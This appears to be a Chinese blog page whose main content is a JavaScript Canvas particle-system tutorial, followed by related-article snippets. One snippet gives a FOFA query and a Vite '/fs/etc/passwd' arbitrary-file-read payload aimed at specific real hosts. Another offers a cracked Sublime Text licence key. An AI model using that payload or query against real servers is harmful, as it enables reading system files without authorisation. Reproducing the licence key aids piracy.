当前位置：首页 > news >正文

Canvas粒子系统终极指南：从基础运动到复杂交互的全流程实现

news 来源：原创 2025/7/15 23:31:33

文章目录

一、粒子系统基础架构
- 1.1 粒子数据结构设计
- 1.2 粒子系统管理器
二、基础粒子效果实现
- 2.1 重力场模拟
- 2.2 弹性碰撞效果
三、高级交互实现
- 3.1 鼠标吸引效果
- 3.2 颜色渐变粒子
四、性能优化策略
- 4.1 粒子池复用
- 4.2 分层渲染
五、复杂效果实现
- 5.1 烟花爆炸效果
- 5.2 流体模拟

一、粒子系统基础架构

1.1 粒子数据结构设计

class Particle {constructor(x, y) {this.pos = { x, y };this.vel = { x: Math.random()*4 - 2, y: Math.random()*4 - 2 };this.acc = { x: 0, y: 0.1 };this.size = Math.random()*8 + 2;this.life = 200;}update() {this.vel.x += this.acc.x;this.vel.y += this.acc.y;this.pos.x += this.vel.x;this.pos.y += this.vel.y;this.life--;}
}

1.2 粒子系统管理器

class ParticleSystem {constructor() {this.particles = [];this.emitRate = 5;this.gravity = 0.1;}emit(x, y) {for(let i=0; i<this.emitRate; i++) {this.particles.push(new Particle(x, y));}}update() {this.particles = this.particles.filter(p => p.life > 0);this.particles.forEach(p => p.update());}
}

二、基础粒子效果实现

2.1 重力场模拟

// 初始化时设置重力
class GravityParticle extends Particle {constructor(x, y) {super(x, y);this.acc.y = 0.3; // 增强重力效果}
}// 鼠标点击触发粒子发射
canvas.addEventListener('click', (e) => {const rect = canvas.getBoundingClientRect();const x = e.clientX - rect.left;const y = e.clientY - rect.top;particleSystem.emit(x, y);
});

2.2 弹性碰撞效果

class BounceParticle extends Particle {update() {super.update();// 水平边界碰撞if(this.pos.x < 0 || this.pos.x > canvas.width) {this.vel.x *= -0.8;this.pos.x = Math.max(0, Math.min(this.pos.x, canvas.width));}// 垂直边界碰撞if(this.pos.y < 0 || this.pos.y > canvas.height) {this.vel.y *= -0.8;this.pos.y = Math.max(0, Math.min(this.pos.y, canvas.height));}}
}

三、高级交互实现

3.1 鼠标吸引效果

class AttractorParticle extends Particle {constructor(x, y) {super(x, y);this.attraction = 0.02;}update(mousePos) {super.update();const dx = mousePos.x - this.pos.x;const dy = mousePos.y - this.pos.y;const distance = Math.sqrt(dx*dx + dy*dy);if(distance < 200) {const force = (200 - distance) * this.attraction;this.vel.x += (dx/distance) * force;this.vel.y += (dy/distance) * force;}}
}

3.2 颜色渐变粒子

class GradientParticle extends Particle {constructor(x, y) {super(x, y);this.colorStart = `hsl(${Math.random()*360}, 80%, 60%)`;this.colorEnd = `hsl(${Math.random()*360}, 80%, 30%)`;}draw(ctx) {const gradient = ctx.createRadialGradient(this.pos.x, this.pos.y, 0, this.pos.x, this.pos.y, this.size);gradient.addColorStop(0, this.colorStart);gradient.addColorStop(1, this.colorEnd);ctx.beginPath();ctx.arc(this.pos.x, this.pos.y, this.size, 0, Math.PI*2);ctx.fillStyle = gradient;ctx.fill();}
}

四、性能优化策略

4.1 粒子池复用

class PooledParticleSystem extends ParticleSystem {constructor() {super();this.pool = [];}emit(x, y) {for(let i=0; i<this.emitRate; i++) {const particle = this.pool.length ? this.pool.pop() : new Particle(x, y);particle.reset(x, y);this.particles.push(particle);}}remove(particle) {this.pool.push(particle);}
}

4.2 分层渲染

function render() {ctx.clearRect(0, 0, canvas.width, canvas.height);// 背景层（透明粒子）backgroundParticles.forEach(p => p.draw(ctx));// 交互层（高亮粒子）interactiveParticles.forEach(p => p.draw(ctx));requestAnimationFrame(render);
}

五、复杂效果实现

5.1 烟花爆炸效果

class FireworkParticle extends Particle {constructor(x, y) {super(x, y);this.vel.y = -Math.random()*6 - 8;this.acc.y = 0.05;this.size = Math.random()*15 + 5;}draw(ctx) {ctx.beginPath();ctx.arc(this.pos.x, this.pos.y, this.size, 0, Math.PI*2);ctx.fillStyle = `hsl(${Math.random()*360}, 80%, 60%)`;ctx.fill();}
}

5.2 流体模拟

class FluidParticle extends Particle {constructor(x, y) {super(x, y);this.density = Math.random()*50 + 10;}update() {super.update();this.vel.x *= 0.95;this.vel.y *= 0.95;}draw(ctx) {ctx.beginPath();ctx.arc(this.pos.x, this.pos.y, this.size, 0, Math.PI*2);ctx.fillStyle = `rgba(0, 255, 255, ${this.density/100})`;ctx.fill();}
}

到这里，这篇文章就和大家说再见啦！我的主页里还藏着很多篇 Vue 实战干货，感兴趣的话可以点击头像看看，说不定能找到你需要的解决方案～
创作这篇内容花了很多的功夫。如果它帮你解决了问题，或者带来了启发，欢迎：
点个赞❤️ 让更多人看到优质内容
关注「前端极客探险家」🚀 每周解锁新技巧
收藏文章⭐️ 方便随时查阅
📢 特别提醒：
转载请注明原文链接，商业合作请私信联系
感谢你的阅读！我们下篇文章再见～ 💕

在这里插入图片描述

Canvas粒子系统终极指南：从基础运动到复杂交互的全流程实现

文章目录一、粒子系统基础架构1.1 粒子数据结构设计1.2 粒子系统管理器二、基础粒子效果实现2.1 重力场模拟2.2 弹性碰撞效果三、高级交互实现3.1 鼠标吸引效果3.2 颜色渐变粒子四、性能优化策略4.1 粒子池复用4.2 分层渲染五、复杂效果实现5.1 烟花爆炸效果5.2 流体模拟 …...

编程日记 2025/7/15 23:31:33

【QT】新建QT工程(详细步骤)

新建QT工程 1.方法(1)点击new project按钮，弹出对话框，新建即可，步骤如下：(2) 点击文件菜单，选择新建文件或者工程，后续步骤如上 2.QT工程文件介绍(1).pro文件 --》QT工程配置文件(2)main.cpp --》QT工程主…...

编程日记 2025/7/15 1:30:56

详解Http：在QT中使用Http协议

目录一、HTTP 概述 1、主要特点 2、HTTP 方法 3、HTTP 状态码 4、HTTP 头部 5、HTTP的工作原理二、在Qt中使用HTTP 1、发送简单的HTTP请求 2、发送POST请求 3、处理异步请求 4、使用QSslConfiguration进行HTTPS 5、处理JSON响应 6、处理错误三、总结一、HTTP…...

编程日记 2025/7/9 13:54:49

Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) 复现利用与原理分析

免责声明本文所述漏洞复现方法仅供安全研究及授权测试使用； 任何个人/组织须在合法合规前提下实施，严禁用于非法目的； 作者不对任何滥用行为及后果负责，如发现新漏洞请及时联系厂商并遵循漏洞披露规则。漏洞原理 Next.js 是一个…...

编程日记 2025/7/15 23:15:34

AI时代的数据底座：火山引擎多模态数据湖的设计与实践

资料来源：火山引擎-开发者社区随着大模型的发展和应用，文本的边界被拓宽，图像、视频、语音各种模态涌现，并给数据管理、检索、计算带来巨大挑战。火山引擎多模态数据湖解决方案则可实现海量结构化、半结构化及非结构化数据的统…...

编程日记 2025/7/13 15:17:14

Numpy用法(二)

一.数组变维 1.1 reshape reshape() 可以改变数组维度，但是返回的是一个新的数组，原数组的形状不会被修改.reshape后产生的新数组是原数组的一个视图，即它与原数组共享相同的数据，但可以有不同的形状或维度，且对视图…...

编程日记 2025/7/14 15:39:43

STM32 IIC通信

目录 IIC简介硬件电路连接I2C时序基本单元IIC完整数据帧MPU6050封装硬件IIC内部电路 IIC简介 IIC（Inter-Integrated Circuit）是 IIC Bus 简称，中文叫集成电路总线。它是一种串行通信总线，使用多主从架构，由飞利浦公司…...

编程日记 2025/7/14 9:50:35

快速入门 JSON 数据格式

引言 JSON，全称 JavaScript Object Notion，类似于XML，YAML，Properties等，是一种数据交换格式，相比于XML，更简单，更轻量，更容易理解。 JSON vs XML 使用 JSON 目前被广…...

编程日记 2025/7/14 0:04:47

FFmpeg —— 中标麒麟系统下使用FFmpeg内核+Qt界面，制作完整功能音视频播放器（附：源码）

🔔 FFmpeg 相关音视频技术、疑难杂症文章合集（掌握后可自封大侠 ⓿_⓿）（记得收藏，持续更新中…）程序运行效果...

编程日记 2025/6/28 1:40:14

硬件测试工装设计不合理的补救措施

硬件测试工装设计不合理的补救措施主要包括重新评估设计需求、优化工装结构、强化工装校准与验证。其中，优化工装结构尤其重要，通过结构优化能够有效解决因设计不合理导致的测试准确性下降和可靠性不足的问题。根据工程实践数据，经过优化结构…...

编程日记 2025/6/28 4:04:44

任意文件读取漏洞

fofa语句：body"/vite/client" /fs/etc/passwd?import&raw?? https://35.175.173.157/fs/etc/passwd?import&raw?? http://geometer.dev.mvergely.com/fs/etc/passwd?import&raw??...

编程日记 2025/7/12 7:17:23

如何使用RK平台的spi驱动 spidev

RK平台spidev驱动读取RC522版本号示例 1. 硬件与驱动确认确认SPI接口连接：RC522的SPI引脚与RK开发板的对应SPI控制器正确连接（CS、CLK、MOSI、MISO）检查内核配置： Bash # 内核需启用以下配置 CONFIG_SPIy CONFIG_SPI_MASTERy…...

编程日记 2025/7/11 19:33:33

网路传输层UDP/TCP

一、端口号 1.端口号 1.1 五元组端口号(port)标识了一个主机上进行通信的不同的应用程序. 如图所示, 在一个机器上运行着许多进程, 每个进程使用的应用层协议都不一样, 比如FTP, SSH, SMTP, HTTP等. 当主机接收到一个报文中, 网络层一定封装了一个目的ip标识我这台主机, …...

编程日记 2025/7/15 19:20:39

1.2-WAF\CDN\OSS\反向代理\负载均衡

WAF：就是网站应用防火墙，有硬件类、软件类、云WAF； 还有网站内置的WAF，内置的WAF就是直接嵌在代码中的安全防护代码硬件类：Imperva、天清WAG 软件：安全狗、D盾、云锁云：阿里云盾、腾讯云WA…...

编程日记 2025/7/15 23:20:17

Dify 服务器部署指南

1. 系统要求在开始部署之前，请确保你的服务器满足以下要求： 操作系统：Linux（推荐使用 Ubuntu 20.04 或更高版本）内存：至少 4GB RAM存储：至少 20GB 可用空间网络：稳定的互联网连接…...

编程日记 2025/7/15 23:17:24

从车间到数字生态：MES如何引领制造业智能化革命‌

在全球制造业加速迈向工业4.0的浪潮中，传统生产模式正经历颠覆性变革。制造执行系统（MES）作为连接物理车间与数字世界的核心纽带，正从“生产辅助工具”升级为“智能决策大脑”，推动制造业向数据驱动、柔性化与可持续化…...

编程日记 2025/7/15 1:09:16

Spring容器生命周期详解

Spring容器生命周期详解 Spring容器的生命周期从启动到关闭分为多个阶段，包括Bean的加载、实例化、初始化、使用和销毁。以下是详细流程和关键点： 1. 容器启动阶段 1.1 容器实例化核心接口：BeanFactory（基础容器）或…...

编程日记 2025/7/9 13:19:40

革新测试管理 2.0丨Storm UTP统一测试管理平台智能化升级与全流程优化

承接上篇：从基础架构到深度协同在首篇文章《革新测试管理 | 统一测试管理平台如何实现远程、协同、自动化？》中，我们探讨了Storm UTP如何通过云端协作、自动化测试框架和分布式执行能力打破传统测试壁垒。经过一年多的客户实践与技术迭代&a…...

编程日记 2025/7/10 23:12:32

将 char [] str = “hello,you,world” 改为 “world,you,hello“,要求空间复杂度为1

题目： 将 char [] str “hello,you,world” 改为 "world,you,hello",要求空间复杂度为1 （也就是使用的变量只能是单个字符或者常数，不能使用数组！！！！！） 解…...

编程日记 2025/7/15 22:19:00

运维规则之总结（Summary of Operation and Maintenance Rules）

运维规则之总结在运维领域，经验和流程往往决定了系统的稳定性与可靠性。一个运维人，总结出了以下10条运维规则，涵盖了从基础管理到高级策略的全面内容，旨在帮助运维人员更好地应对各种挑战，确保系统的平稳运行。 1.…...

编程日记 2025/7/12 23:46:28

MongoDB 创建数据库

MongoDB 创建数据库引言 MongoDB 是一款高性能、可扩展的 NoSQL 数据库，广泛应用于大数据领域。在 MongoDB 中，创建数据库是进行数据存储的第一步。本文将详细介绍 MongoDB 数据库的创建方法，包括手动创建和自动创建两种方式。 MongoDB 数…...

编程日记 2025/7/10 4:57:54

SpringSecurity OAuth2：授权服务器与资源服务器配置

文章目录引言一、OAuth2基础概念与架构二、授权服务器配置三、令牌策略与存储方式四、资源服务器配置五、远程令牌验证与内省总结引言在现代分布式应用架构中，OAuth2已成为实现安全授权与认证的事实标准。Spring Security对OAuth2提供了全面支持，使开…...

编程日记 2025/7/5 13:14:08

Vue 2 探秘：visible 和 append-to-body 是谁的小秘密？

🚀 Vue 2 探秘：visible 和 append-to-body 是谁的小秘密？🤔 父组件：identify-list.vue子组件：fake-clue-list.vue 嘿，各位前端探险家！👋 今天我们要在 Vue 2 的代码丛林…...

编程日记 2025/7/9 10:03:20

一、启动一个exe class Program {static void Main(string[] args){string exePath "D:\测试\Test.exe";// 修改为你要运行的exe路径StartProcess(exePath);}private static bool StartProcess(string exePath){// 创建一个 ProcessStartInfo 对象来配置进程启动参…...

编程日记 2025/7/15 8:57:00

windows下安装sublime

sublime4 alpha 4098 版本下载可以根据待破解的版本选择下载 https://www.sublimetext.com/dev crack alpha4098 的licence 在----- BEGIN LICENSE ----- TwitterInc 200 User License EA7E-890007 1D77F72E 390CDD93 4DCBA022 FAF60790 61AA12C0 A37081C5 D0316412 4584D…...

编程日记 2025/7/15 23:16:30

Qt 日志输出(重定向)

在软件开发中，日志输出是调试和问题排查的关键手段。Qt框架提供了灵活的日志系统，支持从简单的控制台输出到复杂的自定义日志处理。本文将详细介绍Qt中五种常用的日志输出方法，并附上完整代码示例。一、使用Qt内置日志函数 Qt提供了五个全局…...

编程日记 2025/7/15 1:14:55

51c嵌入式~MOS~合集1

我自己的原文哦~ https://blog.51cto.com/whaosoft/12074888 一、MOS管：米勒效应、开关损耗以及参数匹配 MOS管即场效应管（MOSFET），属于压控型，是一种应用非常广泛的功率型开关元件，在开关电源、逆变器…...

编程日记 2025/7/15 13:17:48

一文详解k8s体系架构知识

0.云原生 1.k8s概念 1. k8s集群的两种管理角色 Master：集群控制节点，负责具体命令的执行过程。master节点通常会占用一股独立的服务器（高可用部署建议用3台服务器），是整个集群的首脑。 Master节点一组关键进程&#xf…...

编程日记 2025/7/14 12:36:16

Linux内核软中断分析

一、软中断类型在Linux内核中，中断处理分为上半部（硬中断）和下半部。上半部负责快速响应硬件事件，而下半部用于处理耗时任务，避免阻塞系统。下半部有三种机制：软中断（Softirq）、小任…...

编程日记 2025/7/15 15:04:13

从医疗大模型到综合医疗智能体：算法、架构与路径全流程分析

一、引言 1.1 研究背景与意义随着信息技术的飞速发展，医疗领域正经历着深刻的变革。医疗智能体作为人工智能技术在医疗行业的重要应用，正逐渐成为提升医疗服务质量、优化医疗流程、促进医疗资源合理分配的关键力量。从最初简单的医疗信息管理系统，到如今能够辅助诊断、制定…...

编程日记 2025/7/15 15:44:42

2025跳槽学习计划

（1）编程基础： 目录学习资料Chttps://www.bilibili.com/video/BV1z64y1U7hs?spm_id_from333.1387.favlist.content.clickLinuxPytorchhttps://www.bilibili.com/video/BV1if4y147hS?spm_id_from333.1387.favlist.content.clickopencv数据结…...

编程日记 2025/7/13 6:02:29

数据库后续

-- 添加作者字段 alter table t_hero add author varchar(100); -- 更新数据 update t_hero set author "曹雪芹" where id 1; update t_hero set author "曹雪芹" where id 2; update t_hero set author "曹雪芹" where id 3; upd…...

编程日记 2025/7/11 21:40:06

程序员软件工具推荐列表

🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息文章目录程序员软件工具推荐列表1. Snipaste2. VSCod…...

编程日记 2025/7/10 10:42:59

如何在WordPress中限制用户登录到一台设备

在当今的互联网环境下，许多用户习惯共享账户信息，虽然看似无害，却可能对网站运营产生负面影响。尤其是对于那些经营会员网站和在线课程的平台，限制用户同时登录的设备数量显得尤为重要。本文将详细探讨如何在WordPress中限制用户登…...

编程日记 2025/7/10 10:40:06

基于大模型的自发性气胸全方位预测与诊疗方案研究

目录一、引言 1.1 研究背景与意义 1.2 研究目的与创新点二、大模型预测自发性气胸的原理及技术基础 2.1 大模型介绍 2.2 模型构建与训练数据 2.3 模型训练与优化三、术前风险预测与准备 3.1 术前风险预测指标 3.2 基于预测的术前准备 3.3 手术方案与麻醉方案制定…...

编程日记 2025/7/11 16:18:32

文章记单词 | 第14篇（六级）

一，单词释义 affection：n. 喜爱，钟爱；爱慕之情；感情stream：n. 小河，溪流；一连串，源源不断；水流，气流；vi. 流，流动&#x…...

编程日记 2025/7/3 18:28:43

系统如何查找文件？inode号又是什么？

下面分别详细解释您提到的三个问题： “文件系统怎么定位文件”、“inode 是什么”、“为什么删除后还可能被占用”。一、文件系统怎么定位文件 1.1 目录与文件名并不直接存储文件数据在常见的 Unix/Linux 文件系统（如 ext4、xfs）或类似的…...

编程日记 2025/7/15 8:36:23

Uni-app入门到精通：tabBar节点实现多页面的切换

tabBar节点用于实现多页面的切换。对于一个多tabBar应用，可以通过tabBar节点配置项指定一级导航栏，以及tabBar切换时显示的对应页面。在pages.json中提供tabBar节点配置，不仅是为了方便快速开发导航，更重要的是提示App平台和小程序…...

编程日记 2025/7/11 21:07:10

torchvision中数据集的使用

1、torchvision及其数据集的介绍 1.1 torchvision介绍 torchvision 是 PyTorch 的一个官方库，专门用于计算机视觉任务。它提供了以下核心功能： 预训练模型：如 ResNet、VGG、EfficientNet 等。数据集：内置常用视觉数据集&#xf…...

编程日记 2025/7/15 9:19:53

uniapp开发实战自定义组件形式实现自定义海报功能

在 UniApp 中实现自定义海报功能，可以通过 Canvas 来绘制海报。Canvas 提供了丰富的绘图 API，可以精确控制文字、图片和二维码的位置。下面是一个完整的示例，展示如何创建一个自定义海报组件。项目结构假设你的项目结构如下： project-root/ ├── pages/ │ └──…...

编程日记 2025/7/15 13:11:27

Java EE 进阶：MyBatis-plus

MyBatis-plus的介绍 MyBatis-plus是MyBatis的增强工具，在MyBatis的基础上做出加强，只要MyBatis有的功能MyBatis-plus都有。 MyBatis-plus的上手添加依赖在我们创建项目的时候，我们需要添加MyBatis-plus和mysql的依赖 MyBatis-plus的依赖…...

编程日记 2025/7/10 11:31:54

信息学奥赛一本通 1514：【例 2】最大半连通子图 | 洛谷 P2272 [ZJOI2007] 最大半连通子图

【题目链接】 ybt 1514：【例 2】最大半连通子图洛谷 P2272 [ZJOI2007] 最大半连通子图【题目考点】 1. 图论：强连通分量缩点 2. 图论：拓扑排序有向无环图动规【解题思路】对于图中任意两顶点u、v，满足u到v或v到u有路径…...

编程日记 2025/7/14 1:19:22

正则表达式-笔记

文章目录一、正则表达式二、正则表达式的基本语法字符类普通字符非打印字符特殊字符量词限定符锚点修饰符（标记） 三、在 Python 中使用正则表达式简单搜索提取信息替换文本参考从验证用户输入，到从大量文本中提取特定信息，再到…...

编程日记 2025/7/13 21:19:38

Linux 练习二 LVS的NAT模式

作业要求：使用LVS的 NAT 模式实现 3 台 RS 的轮询访问。IP地址和主机自己规划。节点规划主机角色系统网络IPclientclientredhat 9.5仅主机192.168.60.100/24lvslvsredhat 9.5仅主机 NAT192.168.60.200/24 VIP 192.168.23.8/24 DIPnginxrs1redhat 9.5NAT192.16…...

编程日记 2025/7/8 5:03:24